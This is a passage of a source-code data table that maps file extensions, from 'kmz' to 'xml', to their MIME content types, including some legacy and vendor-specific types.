'application/vnd.google-earth.kmz'],\n ['kne', 'application/vnd.kinar'],\n ['kon', 'application/vnd.kde.kontour'],\n ['kpr', 'application/vnd.kde.kpresenter'],\n ['ksh', ['application/x-ksh', 'text/x-script.ksh']],\n ['ksp', 'application/vnd.kde.kspread'],\n ['ktx', 'image/ktx'],\n ['ktz', 'application/vnd.kahootz'],\n ['kwd', 'application/vnd.kde.kword'],\n ['la', ['audio/nspaudio', 'audio/x-nspaudio']],\n ['lam', 'audio/x-liveaudio'],\n ['lasxml', 'application/vnd.las.las+xml'],\n ['latex', 'application/x-latex'],\n ['lbd', 'application/vnd.llamagraphics.life-balance.desktop'],\n ['lbe', 'application/vnd.llamagraphics.life-balance.exchange+xml'],\n ['les', 'application/vnd.hhe.lesson-player'],\n ['lha', ['application/octet-stream', 'application/lha', 'application/x-lha']],\n ['lhx', 'application/octet-stream'],\n ['link66', 'application/vnd.route66.link66+xml'],\n ['list', 'text/plain'],\n ['lma', ['audio/nspaudio', 'audio/x-nspaudio']],\n ['log', 'text/plain'],\n ['lrm', 'application/vnd.ms-lrm'],\n ['lsf', 'video/x-la-asf'],\n ['lsp', ['application/x-lisp', 'text/x-script.lisp']],\n ['lst', 'text/plain'],\n ['lsx', ['video/x-la-asf', 'text/x-la-asf']],\n ['ltf', 'application/vnd.frogans.ltf'],\n ['ltx', 'application/x-latex'],\n ['lvp', 'audio/vnd.lucent.voice'],\n ['lwp', 'application/vnd.lotus-wordpro'],\n ['lzh', ['application/octet-stream', 'application/x-lzh']],\n ['lzx', ['application/lzx', 'application/octet-stream', 'application/x-lzx']],\n ['m', ['text/plain', 'text/x-m']],\n ['m13', 'application/x-msmediaview'],\n ['m14', 'application/x-msmediaview'],\n ['m1v', 'video/mpeg'],\n ['m21', 'application/mp21'],\n ['m2a', 'audio/mpeg'],\n ['m2v', 'video/mpeg'],\n ['m3u', ['audio/x-mpegurl', 'audio/x-mpequrl']],\n ['m3u8', 'application/vnd.apple.mpegurl'],\n ['m4v', 'video/x-m4v'],\n ['ma', 'application/mathematica'],\n ['mads', 'application/mads+xml'],\n ['mag', 'application/vnd.ecowin.chart'],\n ['man', 'application/x-troff-man'],\n ['map', 'application/x-navimap'],\n ['mar', 'text/plain'],\n ['mathml', 'application/mathml+xml'],\n ['mbd', 'application/mbedlet'],\n ['mbk', 'application/vnd.mobius.mbk'],\n ['mbox', 'application/mbox'],\n ['mc$', 'application/x-magic-cap-package-1.0'],\n ['mc1', 'application/vnd.medcalcdata'],\n ['mcd', ['application/mcad', 'application/vnd.mcd', 'application/x-mathcad']],\n ['mcf', ['image/vasa', 'text/mcf']],\n ['mcp', 'application/netmc'],\n ['mcurl', 'text/vnd.curl.mcurl'],\n ['mdb', 'application/x-msaccess'],\n ['mdi', 'image/vnd.ms-modi'],\n ['me', 'application/x-troff-me'],\n ['meta4', 'application/metalink4+xml'],\n ['mets', 'application/mets+xml'],\n ['mfm', 'application/vnd.mfmp'],\n ['mgp', 'application/vnd.osgeo.mapguide.package'],\n ['mgz', 'application/vnd.proteus.magazine'],\n ['mht', 'message/rfc822'],\n ['mhtml', 'message/rfc822'],\n ['mid', ['audio/mid', 'audio/midi', 'music/crescendo', 'x-music/x-midi', 'audio/x-midi', 'application/x-midi', 'audio/x-mid']],\n ['midi', ['audio/midi', 'music/crescendo', 'x-music/x-midi', 'audio/x-midi', 'application/x-midi', 'audio/x-mid']],\n ['mif', ['application/vnd.mif', 'application/x-mif', 'application/x-frame']],\n ['mime', ['message/rfc822', 'www/mime']],\n ['mj2', 'video/mj2'],\n ['mjf', 'audio/x-vnd.audioexplosion.mjuicemediafile'],\n ['mjpg', 'video/x-motion-jpeg'],\n ['mlp', 'application/vnd.dolby.mlp'],\n ['mm', ['application/base64', 'application/x-meme']],\n ['mmd', 'application/vnd.chipnuts.karaoke-mmd'],\n ['mme', 'application/base64'],\n ['mmf', 'application/vnd.smaf'],\n ['mmr', 'image/vnd.fujixerox.edmics-mmr'],\n ['mny', 'application/x-msmoney'],\n ['mod', ['audio/mod', 'audio/x-mod']],\n ['mods', 'application/mods+xml'],\n ['moov', 'video/quicktime'],\n ['mov', 'video/quicktime'],\n ['movie', 'video/x-sgi-movie'],\n ['mp2', ['video/mpeg', 'audio/mpeg', 'video/x-mpeg', 'audio/x-mpeg', 'video/x-mpeq2a']],\n ['mp3', ['audio/mpeg', 'audio/mpeg3', 'video/mpeg', 'audio/x-mpeg-3', 'video/x-mpeg']],\n ['mp4', ['video/mp4', 'application/mp4']],\n ['mp4a', 'audio/mp4'],\n ['mpa', ['video/mpeg', 'audio/mpeg']],\n ['mpc', ['application/vnd.mophun.certificate', 'application/x-project']],\n ['mpe', 'video/mpeg'],\n ['mpeg', 'video/mpeg'],\n ['mpg', ['video/mpeg', 'audio/mpeg']],\n ['mpga', 'audio/mpeg'],\n ['mpkg', 'application/vnd.apple.installer+xml'],\n ['mpm', 'application/vnd.blueice.multipass'],\n ['mpn', 'application/vnd.mophun.application'],\n ['mpp', 'application/vnd.ms-project'],\n ['mpt', 'application/x-project'],\n ['mpv', 'application/x-project'],\n ['mpv2', 'video/mpeg'],\n ['mpx', 'application/x-project'],\n ['mpy', 'application/vnd.ibm.minipay'],\n ['mqy', 'application/vnd.mobius.mqy'],\n ['mrc', 'application/marc'],\n ['mrcx', 'application/marcxml+xml'],\n ['ms', 'application/x-troff-ms'],\n ['mscml', 'application/mediaservercontrol+xml'],\n ['mseq', 'application/vnd.mseq'],\n ['msf', 'application/vnd.epson.msf'],\n ['msg', 'application/vnd.ms-outlook'],\n ['msh', 'model/mesh'],\n ['msl', 'application/vnd.mobius.msl'],\n ['msty', 'application/vnd.muvee.style'],\n ['mts', 'model/vnd.mts'],\n ['mus', 'application/vnd.musician'],\n ['musicxml', 'application/vnd.recordare.musicxml+xml'],\n ['mv', 'video/x-sgi-movie'],\n ['mvb', 'application/x-msmediaview'],\n ['mwf', 'application/vnd.mfer'],\n ['mxf', 'application/mxf'],\n ['mxl', 'application/vnd.recordare.musicxml'],\n ['mxml', 'application/xv+xml'],\n ['mxs', 'application/vnd.triscape.mxs'],\n ['mxu', 'video/vnd.mpegurl'],\n ['my', 'audio/make'],\n ['mzz', 'application/x-vnd.audioexplosion.mzz'],\n ['n-gage', 'application/vnd.nokia.n-gage.symbian.install'],\n ['n3', 'text/n3'],\n ['nap', 'image/naplps'],\n ['naplps', 'image/naplps'],\n ['nbp', 'application/vnd.wolfram.player'],\n ['nc', 'application/x-netcdf'],\n ['ncm', 'application/vnd.nokia.configuration-message'],\n ['ncx', 'application/x-dtbncx+xml'],\n ['ngdat', 'application/vnd.nokia.n-gage.data'],\n ['nif', 'image/x-niff'],\n ['niff', 'image/x-niff'],\n ['nix', 'application/x-mix-transfer'],\n ['nlu', 'application/vnd.neurolanguage.nlu'],\n ['nml', 'application/vnd.enliven'],\n ['nnd', 'application/vnd.noblenet-directory'],\n ['nns', 'application/vnd.noblenet-sealer'],\n ['nnw', 'application/vnd.noblenet-web'],\n ['npx', 'image/vnd.net-fpx'],\n ['nsc', 'application/x-conference'],\n ['nsf', 'application/vnd.lotus-notes'],\n ['nvd', 'application/x-navidoc'],\n ['nws', 'message/rfc822'],\n ['o', 'application/octet-stream'],\n ['oa2', 'application/vnd.fujitsu.oasys2'],\n ['oa3', 'application/vnd.fujitsu.oasys3'],\n ['oas', 'application/vnd.fujitsu.oasys'],\n ['obd', 'application/x-msbinder'],\n ['oda', 'application/oda'],\n ['odb', 'application/vnd.oasis.opendocument.database'],\n ['odc', 'application/vnd.oasis.opendocument.chart'],\n ['odf', 'application/vnd.oasis.opendocument.formula'],\n ['odft', 'application/vnd.oasis.opendocument.formula-template'],\n ['odg', 'application/vnd.oasis.opendocument.graphics'],\n ['odi', 'application/vnd.oasis.opendocument.image'],\n ['odm', 'application/vnd.oasis.opendocument.text-master'],\n ['odp', 'application/vnd.oasis.opendocument.presentation'],\n ['ods', 'application/vnd.oasis.opendocument.spreadsheet'],\n ['odt', 'application/vnd.oasis.opendocument.text'],\n ['oga', 'audio/ogg'],\n ['ogv', 'video/ogg'],\n ['ogx', 'application/ogg'],\n ['omc', 'application/x-omc'],\n ['omcd', 'application/x-omcdatamaker'],\n ['omcr', 'application/x-omcregerator'],\n ['onetoc', 'application/onenote'],\n ['opf', 'application/oebps-package+xml'],\n ['org', 'application/vnd.lotus-organizer'],\n ['osf', 'application/vnd.yamaha.openscoreformat'],\n ['osfpvg', 'application/vnd.yamaha.openscoreformat.osfpvg+xml'],\n ['otc', 'application/vnd.oasis.opendocument.chart-template'],\n ['otf', 'application/x-font-otf'],\n ['otg', 'application/vnd.oasis.opendocument.graphics-template'],\n ['oth', 'application/vnd.oasis.opendocument.text-web'],\n ['oti', 'application/vnd.oasis.opendocument.image-template'],\n ['otp', 'application/vnd.oasis.opendocument.presentation-template'],\n ['ots', 'application/vnd.oasis.opendocument.spreadsheet-template'],\n ['ott', 'application/vnd.oasis.opendocument.text-template'],\n ['oxt', 'application/vnd.openofficeorg.extension'],\n ['p', 'text/x-pascal'],\n ['p10', ['application/pkcs10', 'application/x-pkcs10']],\n ['p12', ['application/pkcs-12', 'application/x-pkcs12']],\n ['p7a', 'application/x-pkcs7-signature'],\n ['p7b', 'application/x-pkcs7-certificates'],\n ['p7c', ['application/pkcs7-mime', 'application/x-pkcs7-mime']],\n ['p7m', ['application/pkcs7-mime', 'application/x-pkcs7-mime']],\n ['p7r', 'application/x-pkcs7-certreqresp'],\n ['p7s', ['application/pkcs7-signature', 'application/x-pkcs7-signature']],\n ['p8', 'application/pkcs8'],\n ['par', 'text/plain-bas'],\n ['part', 'application/pro_eng'],\n ['pas', 'text/pascal'],\n ['paw', 'application/vnd.pawaafile'],\n ['pbd', 'application/vnd.powerbuilder6'],\n ['pbm', 'image/x-portable-bitmap'],\n ['pcf', 'application/x-font-pcf'],\n ['pcl', ['application/vnd.hp-pcl', 'application/x-pcl']],\n ['pclxl', 'application/vnd.hp-pclxl'],\n ['pct', 'image/x-pict'],\n ['pcurl', 'application/vnd.curl.pcurl'],\n ['pcx', 'image/x-pcx'],\n ['pdb', ['application/vnd.palm', 'chemical/x-pdb']],\n ['pdf', 'application/pdf'],\n ['pfa', 'application/x-font-type1'],\n ['pfr', 'application/font-tdpfr'],\n ['pfunk', ['audio/make', 'audio/make.my.funk']],\n ['pfx', 'application/x-pkcs12'],\n ['pgm', ['image/x-portable-graymap', 'image/x-portable-greymap']],\n ['pgn', 'application/x-chess-pgn'],\n ['pgp', 'application/pgp-signature'],\n ['pic', ['image/pict', 'image/x-pict']],\n ['pict', 'image/pict'],\n ['pkg', 'application/x-newton-compatible-pkg'],\n ['pki', 'application/pkixcmp'],\n ['pkipath', 'application/pkix-pkipath'],\n ['pko', ['application/ynd.ms-pkipko', 'application/vnd.ms-pki.pko']],\n ['pl', ['text/plain', 'text/x-script.perl']],\n ['plb', 'application/vnd.3gpp.pic-bw-large'],\n ['plc', 'application/vnd.mobius.plc'],\n ['plf', 'application/vnd.pocketlearn'],\n ['pls', 'application/pls+xml'],\n ['plx', 'application/x-pixclscript'],\n ['pm', ['text/x-script.perl-module', 'image/x-xpixmap']],\n ['pm4', 'application/x-pagemaker'],\n ['pm5', 'application/x-pagemaker'],\n ['pma', 'application/x-perfmon'],\n ['pmc', 'application/x-perfmon'],\n ['pml', ['application/vnd.ctc-posml', 'application/x-perfmon']],\n ['pmr', 'application/x-perfmon'],\n ['pmw', 'application/x-perfmon'],\n ['png', 'image/png'],\n ['pnm', ['application/x-portable-anymap', 'image/x-portable-anymap']],\n ['portpkg', 'application/vnd.macports.portpkg'],\n ['pot', ['application/vnd.ms-powerpoint', 'application/mspowerpoint']],\n ['potm', 'application/vnd.ms-powerpoint.template.macroenabled.12'],\n ['potx', 'application/vnd.openxmlformats-officedocument.presentationml.template'],\n ['pov', 'model/x-pov'],\n ['ppa', 'application/vnd.ms-powerpoint'],\n ['ppam', 'application/vnd.ms-powerpoint.addin.macroenabled.12'],\n ['ppd', 'application/vnd.cups-ppd'],\n ['ppm', 'image/x-portable-pixmap'],\n ['pps', ['application/vnd.ms-powerpoint', 'application/mspowerpoint']],\n ['ppsm', 'application/vnd.ms-powerpoint.slideshow.macroenabled.12'],\n ['ppsx', 'application/vnd.openxmlformats-officedocument.presentationml.slideshow'],\n ['ppt', ['application/vnd.ms-powerpoint', 'application/mspowerpoint', 'application/powerpoint', 'application/x-mspowerpoint']],\n ['pptm', 'application/vnd.ms-powerpoint.presentation.macroenabled.12'],\n ['pptx', 'application/vnd.openxmlformats-officedocument.presentationml.presentation'],\n ['ppz', 'application/mspowerpoint'],\n ['prc', 'application/x-mobipocket-ebook'],\n ['pre', ['application/vnd.lotus-freelance', 'application/x-freelance']],\n ['prf', 'application/pics-rules'],\n ['prt', 'application/pro_eng'],\n ['ps', 'application/postscript'],\n ['psb', 'application/vnd.3gpp.pic-bw-small'],\n ['psd', ['application/octet-stream', 'image/vnd.adobe.photoshop']],\n ['psf', 'application/x-font-linux-psf'],\n ['pskcxml', 'application/pskc+xml'],\n ['ptid', 'application/vnd.pvi.ptid1'],\n ['pub', 'application/x-mspublisher'],\n ['pvb', 'application/vnd.3gpp.pic-bw-var'],\n ['pvu', 'paleovu/x-pv'],\n ['pwn', 'application/vnd.3m.post-it-notes'],\n ['pwz', 'application/vnd.ms-powerpoint'],\n ['py', 'text/x-script.phyton'],\n ['pya', 'audio/vnd.ms-playready.media.pya'],\n ['pyc', 'application/x-bytecode.python'],\n ['pyv', 'video/vnd.ms-playready.media.pyv'],\n ['qam', 'application/vnd.epson.quickanime'],\n ['qbo', 'application/vnd.intu.qbo'],\n ['qcp', 'audio/vnd.qcelp'],\n ['qd3', 'x-world/x-3dmf'],\n ['qd3d', 'x-world/x-3dmf'],\n ['qfx', 'application/vnd.intu.qfx'],\n ['qif', 'image/x-quicktime'],\n ['qps', 'application/vnd.publishare-delta-tree'],\n ['qt', 'video/quicktime'],\n ['qtc', 'video/x-qtc'],\n ['qti', 'image/x-quicktime'],\n ['qtif', 'image/x-quicktime'],\n ['qxd', 'application/vnd.quark.quarkxpress'],\n ['ra', ['audio/x-realaudio', 'audio/x-pn-realaudio', 'audio/x-pn-realaudio-plugin']],\n ['ram', 'audio/x-pn-realaudio'],\n ['rar', 'application/x-rar-compressed'],\n ['ras', ['image/cmu-raster', 'application/x-cmu-raster', 'image/x-cmu-raster']],\n ['rast', 'image/cmu-raster'],\n ['rcprofile', 'application/vnd.ipunplugged.rcprofile'],\n ['rdf', 'application/rdf+xml'],\n ['rdz', 'application/vnd.data-vision.rdz'],\n ['rep', 'application/vnd.businessobjects'],\n ['res', 'application/x-dtbresource+xml'],\n ['rexx', 'text/x-script.rexx'],\n ['rf', 'image/vnd.rn-realflash'],\n ['rgb', 'image/x-rgb'],\n ['rif', 'application/reginfo+xml'],\n ['rip', 'audio/vnd.rip'],\n ['rl', 'application/resource-lists+xml'],\n ['rlc', 'image/vnd.fujixerox.edmics-rlc'],\n ['rld', 'application/resource-lists-diff+xml'],\n ['rm', ['application/vnd.rn-realmedia', 'audio/x-pn-realaudio']],\n ['rmi', 'audio/mid'],\n ['rmm', 'audio/x-pn-realaudio'],\n ['rmp', ['audio/x-pn-realaudio-plugin', 'audio/x-pn-realaudio']],\n ['rms', 'application/vnd.jcp.javame.midlet-rms'],\n ['rnc', 'application/relax-ng-compact-syntax'],\n ['rng', ['application/ringing-tones', 'application/vnd.nokia.ringing-tone']],\n ['rnx', 'application/vnd.rn-realplayer'],\n ['roff', 'application/x-troff'],\n ['rp', 'image/vnd.rn-realpix'],\n ['rp9', 'application/vnd.cloanto.rp9'],\n ['rpm', 'audio/x-pn-realaudio-plugin'],\n ['rpss', 'application/vnd.nokia.radio-presets'],\n ['rpst', 'application/vnd.nokia.radio-preset'],\n ['rq', 'application/sparql-query'],\n ['rs', 'application/rls-services+xml'],\n ['rsd', 'application/rsd+xml'],\n ['rt', ['text/richtext', 'text/vnd.rn-realtext']],\n ['rtf', ['application/rtf', 'text/richtext', 'application/x-rtf']],\n ['rtx', ['text/richtext', 'application/rtf']],\n ['rv', 'video/vnd.rn-realvideo'],\n ['s', 'text/x-asm'],\n ['s3m', 'audio/s3m'],\n ['saf', 'application/vnd.yamaha.smaf-audio'],\n ['saveme', 'application/octet-stream'],\n ['sbk', 'application/x-tbook'],\n ['sbml', 'application/sbml+xml'],\n ['sc', 'application/vnd.ibm.secure-container'],\n ['scd', 'application/x-msschedule'],\n ['scm', ['application/vnd.lotus-screencam', 'video/x-scm', 'text/x-script.guile', 'application/x-lotusscreencam', 'text/x-script.scheme']],\n ['scq', 'application/scvp-cv-request'],\n ['scs', 'application/scvp-cv-response'],\n ['sct', 'text/scriptlet'],\n ['scurl', 'text/vnd.curl.scurl'],\n ['sda', 'application/vnd.stardivision.draw'],\n ['sdc', 'application/vnd.stardivision.calc'],\n ['sdd', 'application/vnd.stardivision.impress'],\n ['sdkm', 'application/vnd.solent.sdkm+xml'],\n ['sdml', 'text/plain'],\n ['sdp', ['application/sdp', 'application/x-sdp']],\n ['sdr', 'application/sounder'],\n ['sdw', 'application/vnd.stardivision.writer'],\n ['sea', ['application/sea', 'application/x-sea']],\n ['see', 'application/vnd.seemail'],\n ['seed', 'application/vnd.fdsn.seed'],\n ['sema', 'application/vnd.sema'],\n ['semd', 'application/vnd.semd'],\n ['semf', 'application/vnd.semf'],\n ['ser', 'application/java-serialized-object'],\n ['set', 'application/set'],\n ['setpay', 'application/set-payment-initiation'],\n ['setreg', 'application/set-registration-initiation'],\n ['sfd-hdstx', 'application/vnd.hydrostatix.sof-data'],\n ['sfs', 'application/vnd.spotfire.sfs'],\n ['sgl', 'application/vnd.stardivision.writer-global'],\n ['sgm', ['text/sgml', 'text/x-sgml']],\n ['sgml', ['text/sgml', 'text/x-sgml']],\n ['sh', ['application/x-shar', 'application/x-bsh', 'application/x-sh', 'text/x-script.sh']],\n ['shar', ['application/x-bsh', 'application/x-shar']],\n ['shf', 'application/shf+xml'],\n ['shtml', ['text/html', 'text/x-server-parsed-html']],\n ['sid', 'audio/x-psid'],\n ['sis', 'application/vnd.symbian.install'],\n ['sit', ['application/x-stuffit', 'application/x-sit']],\n ['sitx', 'application/x-stuffitx'],\n ['skd', 'application/x-koan'],\n ['skm', 'application/x-koan'],\n ['skp', ['application/vnd.koan', 'application/x-koan']],\n ['skt', 'application/x-koan'],\n ['sl', 'application/x-seelogo'],\n ['sldm', 'application/vnd.ms-powerpoint.slide.macroenabled.12'],\n ['sldx', 'application/vnd.openxmlformats-officedocument.presentationml.slide'],\n ['slt', 'application/vnd.epson.salt'],\n ['sm', 'application/vnd.stepmania.stepchart'],\n ['smf', 'application/vnd.stardivision.math'],\n ['smi', ['application/smil', 'application/smil+xml']],\n ['smil', 'application/smil'],\n ['snd', ['audio/basic', 'audio/x-adpcm']],\n ['snf', 'application/x-font-snf'],\n ['sol', 'application/solids'],\n ['spc', ['text/x-speech', 'application/x-pkcs7-certificates']],\n ['spf', 'application/vnd.yamaha.smaf-phrase'],\n ['spl', ['application/futuresplash', 'application/x-futuresplash']],\n ['spot', 'text/vnd.in3d.spot'],\n ['spp', 'application/scvp-vp-response'],\n ['spq', 'application/scvp-vp-request'],\n ['spr', 'application/x-sprite'],\n ['sprite', 'application/x-sprite'],\n ['src', 'application/x-wais-source'],\n ['sru', 'application/sru+xml'],\n ['srx', 'application/sparql-results+xml'],\n ['sse', 'application/vnd.kodak-descriptor'],\n ['ssf', 'application/vnd.epson.ssf'],\n ['ssi', 'text/x-server-parsed-html'],\n ['ssm', 'application/streamingmedia'],\n ['ssml', 'application/ssml+xml'],\n ['sst', ['application/vnd.ms-pkicertstore', 'application/vnd.ms-pki.certstore']],\n ['st', 'application/vnd.sailingtracker.track'],\n ['stc', 'application/vnd.sun.xml.calc.template'],\n ['std', 'application/vnd.sun.xml.draw.template'],\n ['step', 'application/step'],\n ['stf', 'application/vnd.wt.stf'],\n ['sti', 'application/vnd.sun.xml.impress.template'],\n ['stk', 'application/hyperstudio'],\n ['stl', ['application/vnd.ms-pkistl', 'application/sla', 'application/vnd.ms-pki.stl', 'application/x-navistyle']],\n ['stm', 'text/html'],\n ['stp', 'application/step'],\n ['str', 'application/vnd.pg.format'],\n ['stw', 'application/vnd.sun.xml.writer.template'],\n ['sub', 'image/vnd.dvb.subtitle'],\n ['sus', 'application/vnd.sus-calendar'],\n ['sv4cpio', 'application/x-sv4cpio'],\n ['sv4crc', 'application/x-sv4crc'],\n ['svc', 'application/vnd.dvb.service'],\n ['svd', 'application/vnd.svd'],\n ['svf', ['image/vnd.dwg', 'image/x-dwg']],\n ['svg', 'image/svg+xml'],\n ['svr', ['x-world/x-svr', 'application/x-world']],\n ['swf', 'application/x-shockwave-flash'],\n ['swi', 'application/vnd.aristanetworks.swi'],\n ['sxc', 'application/vnd.sun.xml.calc'],\n ['sxd', 'application/vnd.sun.xml.draw'],\n ['sxg', 'application/vnd.sun.xml.writer.global'],\n ['sxi', 'application/vnd.sun.xml.impress'],\n ['sxm', 'application/vnd.sun.xml.math'],\n ['sxw', 'application/vnd.sun.xml.writer'],\n ['t', ['text/troff', 'application/x-troff']],\n ['talk', 'text/x-speech'],\n ['tao', 'application/vnd.tao.intent-module-archive'],\n ['tar', 'application/x-tar'],\n ['tbk', ['application/toolbook', 'application/x-tbook']],\n ['tcap', 'application/vnd.3gpp2.tcap'],\n ['tcl', ['text/x-script.tcl', 'application/x-tcl']],\n ['tcsh', 'text/x-script.tcsh'],\n ['teacher', 'application/vnd.smart.teacher'],\n ['tei', 'application/tei+xml'],\n ['tex', 'application/x-tex'],\n ['texi', 'application/x-texinfo'],\n ['texinfo', 'application/x-texinfo'],\n ['text', ['application/plain', 'text/plain']],\n ['tfi', 'application/thraud+xml'],\n ['tfm', 'application/x-tex-tfm'],\n ['tgz', ['application/gnutar', 'application/x-compressed']],\n ['thmx', 'application/vnd.ms-officetheme'],\n ['tif', ['image/tiff', 'image/x-tiff']],\n ['tiff', ['image/tiff', 'image/x-tiff']],\n ['tmo', 'application/vnd.tmobile-livetv'],\n ['torrent', 'application/x-bittorrent'],\n ['tpl', 'application/vnd.groove-tool-template'],\n ['tpt', 'application/vnd.trid.tpt'],\n ['tr', 'application/x-troff'],\n ['tra', 'application/vnd.trueapp'],\n ['trm', 'application/x-msterminal'],\n ['tsd', 'application/timestamped-data'],\n ['tsi', 'audio/tsp-audio'],\n ['tsp', ['application/dsptype', 'audio/tsplayer']],\n ['tsv', 'text/tab-separated-values'],\n ['ttf', 'application/x-font-ttf'],\n ['ttl', 'text/turtle'],\n ['turbot', 'image/florian'],\n ['twd', 'application/vnd.simtech-mindmapper'],\n ['txd', 'application/vnd.genomatix.tuxedo'],\n ['txf', 'application/vnd.mobius.txf'],\n ['txt', 'text/plain'],\n ['ufd', 'application/vnd.ufdl'],\n ['uil', 'text/x-uil'],\n ['uls', 'text/iuls'],\n ['umj', 'application/vnd.umajin'],\n ['uni', 'text/uri-list'],\n ['unis', 'text/uri-list'],\n ['unityweb', 'application/vnd.unity'],\n ['unv', 'application/i-deas'],\n ['uoml', 'application/vnd.uoml+xml'],\n ['uri', 'text/uri-list'],\n ['uris', 'text/uri-list'],\n ['ustar', ['application/x-ustar', 'multipart/x-ustar']],\n ['utz', 'application/vnd.uiq.theme'],\n ['uu', ['application/octet-stream', 'text/x-uuencode']],\n ['uue', 'text/x-uuencode'],\n ['uva', 'audio/vnd.dece.audio'],\n ['uvh', 'video/vnd.dece.hd'],\n ['uvi', 'image/vnd.dece.graphic'],\n ['uvm', 'video/vnd.dece.mobile'],\n ['uvp', 'video/vnd.dece.pd'],\n ['uvs', 'video/vnd.dece.sd'],\n ['uvu', 'video/vnd.uvvu.mp4'],\n ['uvv', 'video/vnd.dece.video'],\n ['vcd', 'application/x-cdlink'],\n ['vcf', 'text/x-vcard'],\n ['vcg', 'application/vnd.groove-vcard'],\n ['vcs', 'text/x-vcalendar'],\n ['vcx', 'application/vnd.vcx'],\n ['vda', 'application/vda'],\n ['vdo', 'video/vdo'],\n ['vew', 'application/groupwise'],\n ['vis', 'application/vnd.visionary'],\n ['viv', ['video/vivo', 'video/vnd.vivo']],\n ['vivo', ['video/vivo', 'video/vnd.vivo']],\n ['vmd', 'application/vocaltec-media-desc'],\n ['vmf', 'application/vocaltec-media-file'],\n ['voc', ['audio/voc', 'audio/x-voc']],\n ['vos', 'video/vosaic'],\n ['vox', 'audio/voxware'],\n ['vqe', 'audio/x-twinvq-plugin'],\n ['vqf', 'audio/x-twinvq'],\n ['vql', 'audio/x-twinvq-plugin'],\n ['vrml', ['model/vrml', 'x-world/x-vrml', 'application/x-vrml']],\n ['vrt', 'x-world/x-vrt'],\n ['vsd', ['application/vnd.visio', 'application/x-visio']],\n ['vsf', 'application/vnd.vsf'],\n ['vst', 'application/x-visio'],\n ['vsw', 'application/x-visio'],\n ['vtu', 'model/vnd.vtu'],\n ['vxml', 'application/voicexml+xml'],\n ['w60', 'application/wordperfect6.0'],\n ['w61', 'application/wordperfect6.1'],\n ['w6w', 'application/msword'],\n ['wad', 'application/x-doom'],\n ['wav', ['audio/wav', 'audio/x-wav']],\n ['wax', 'audio/x-ms-wax'],\n ['wb1', 'application/x-qpro'],\n ['wbmp', 'image/vnd.wap.wbmp'],\n ['wbs', 'application/vnd.criticaltools.wbs+xml'],\n ['wbxml', 'application/vnd.wap.wbxml'],\n ['wcm', 'application/vnd.ms-works'],\n ['wdb', 'application/vnd.ms-works'],\n ['web', 'application/vnd.xara'],\n ['weba', 'audio/webm'],\n ['webm', 'video/webm'],\n ['webp', 'image/webp'],\n ['wg', 'application/vnd.pmi.widget'],\n ['wgt', 'application/widget'],\n ['wiz', 'application/msword'],\n ['wk1', 'application/x-123'],\n ['wks', 'application/vnd.ms-works'],\n ['wm', 'video/x-ms-wm'],\n ['wma', 'audio/x-ms-wma'],\n ['wmd', 'application/x-ms-wmd'],\n ['wmf', ['windows/metafile', 'application/x-msmetafile']],\n ['wml', 'text/vnd.wap.wml'],\n ['wmlc', 'application/vnd.wap.wmlc'],\n ['wmls', 'text/vnd.wap.wmlscript'],\n ['wmlsc', 'application/vnd.wap.wmlscriptc'],\n ['wmv', 'video/x-ms-wmv'],\n ['wmx', 'video/x-ms-wmx'],\n ['wmz', 'application/x-ms-wmz'],\n ['woff', 'application/x-font-woff'],\n ['word', 'application/msword'],\n ['wp', 'application/wordperfect'],\n ['wp5', ['application/wordperfect', 'application/wordperfect6.0']],\n ['wp6', 'application/wordperfect'],\n ['wpd', ['application/wordperfect', 'application/vnd.wordperfect', 'application/x-wpwin']],\n ['wpl', 'application/vnd.ms-wpl'],\n ['wps', 'application/vnd.ms-works'],\n ['wq1', 'application/x-lotus'],\n ['wqd', 'application/vnd.wqd'],\n ['wri', ['application/mswrite', 'application/x-wri', 'application/x-mswrite']],\n ['wrl', ['model/vrml', 'x-world/x-vrml', 'application/x-world']],\n ['wrz', ['model/vrml', 'x-world/x-vrml']],\n ['wsc', 'text/scriplet'],\n ['wsdl', 'application/wsdl+xml'],\n ['wspolicy', 'application/wspolicy+xml'],\n ['wsrc', 'application/x-wais-source'],\n ['wtb', 'application/vnd.webturbo'],\n ['wtk', 'application/x-wintalk'],\n ['wvx', 'video/x-ms-wvx'],\n ['x-png', 'image/png'],\n ['x3d', 'application/vnd.hzn-3d-crossword'],\n ['xaf', 'x-world/x-vrml'],\n ['xap', 'application/x-silverlight-app'],\n ['xar', 'application/vnd.xara'],\n ['xbap', 'application/x-ms-xbap'],\n ['xbd', 'application/vnd.fujixerox.docuworks.binder'],\n ['xbm', ['image/xbm', 'image/x-xbm', 'image/x-xbitmap']],\n ['xdf', 'application/xcap-diff+xml'],\n ['xdm', 'application/vnd.syncml.dm+xml'],\n ['xdp', 'application/vnd.adobe.xdp+xml'],\n ['xdr', 'video/x-amt-demorun'],\n ['xdssc', 'application/dssc+xml'],\n ['xdw', 'application/vnd.fujixerox.docuworks'],\n ['xenc', 'application/xenc+xml'],\n ['xer', 'application/patch-ops-error+xml'],\n ['xfdf', 'application/vnd.adobe.xfdf'],\n ['xfdl', 'application/vnd.xfdl'],\n ['xgz', 'xgl/drawing'],\n ['xhtml', 'application/xhtml+xml'],\n ['xif', 'image/vnd.xiff'],\n ['xl', 'application/excel'],\n ['xla', ['application/vnd.ms-excel', 'application/excel', 'application/x-msexcel', 'application/x-excel']],\n ['xlam', 'application/vnd.ms-excel.addin.macroenabled.12'],\n ['xlb', ['application/excel', 'application/vnd.ms-excel', 'application/x-excel']],\n ['xlc', ['application/vnd.ms-excel', 'application/excel', 'application/x-excel']],\n ['xld', ['application/excel', 'application/x-excel']],\n ['xlk', ['application/excel', 'application/x-excel']],\n ['xll', ['application/excel', 'application/vnd.ms-excel', 'application/x-excel']],\n ['xlm', ['application/vnd.ms-excel', 'application/excel', 'application/x-excel']],\n ['xls', ['application/vnd.ms-excel', 'application/excel', 'application/x-msexcel', 'application/x-excel']],\n ['xlsb', 'application/vnd.ms-excel.sheet.binary.macroenabled.12'],\n ['xlsm', 'application/vnd.ms-excel.sheet.macroenabled.12'],\n ['xlsx', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'],\n ['xlt', ['application/vnd.ms-excel', 'application/excel', 'application/x-excel']],\n ['xltm', 'application/vnd.ms-excel.template.macroenabled.12'],\n ['xltx', 'application/vnd.openxmlformats-officedocument.spreadsheetml.template'],\n ['xlv', ['application/excel', 'application/x-excel']],\n ['xlw', ['application/vnd.ms-excel', 'application/excel', 'application/x-msexcel', 'application/x-excel']],\n ['xm', 'audio/xm'],\n ['xml', ['application/xml', 'text/xml', 'application/atom+xml', 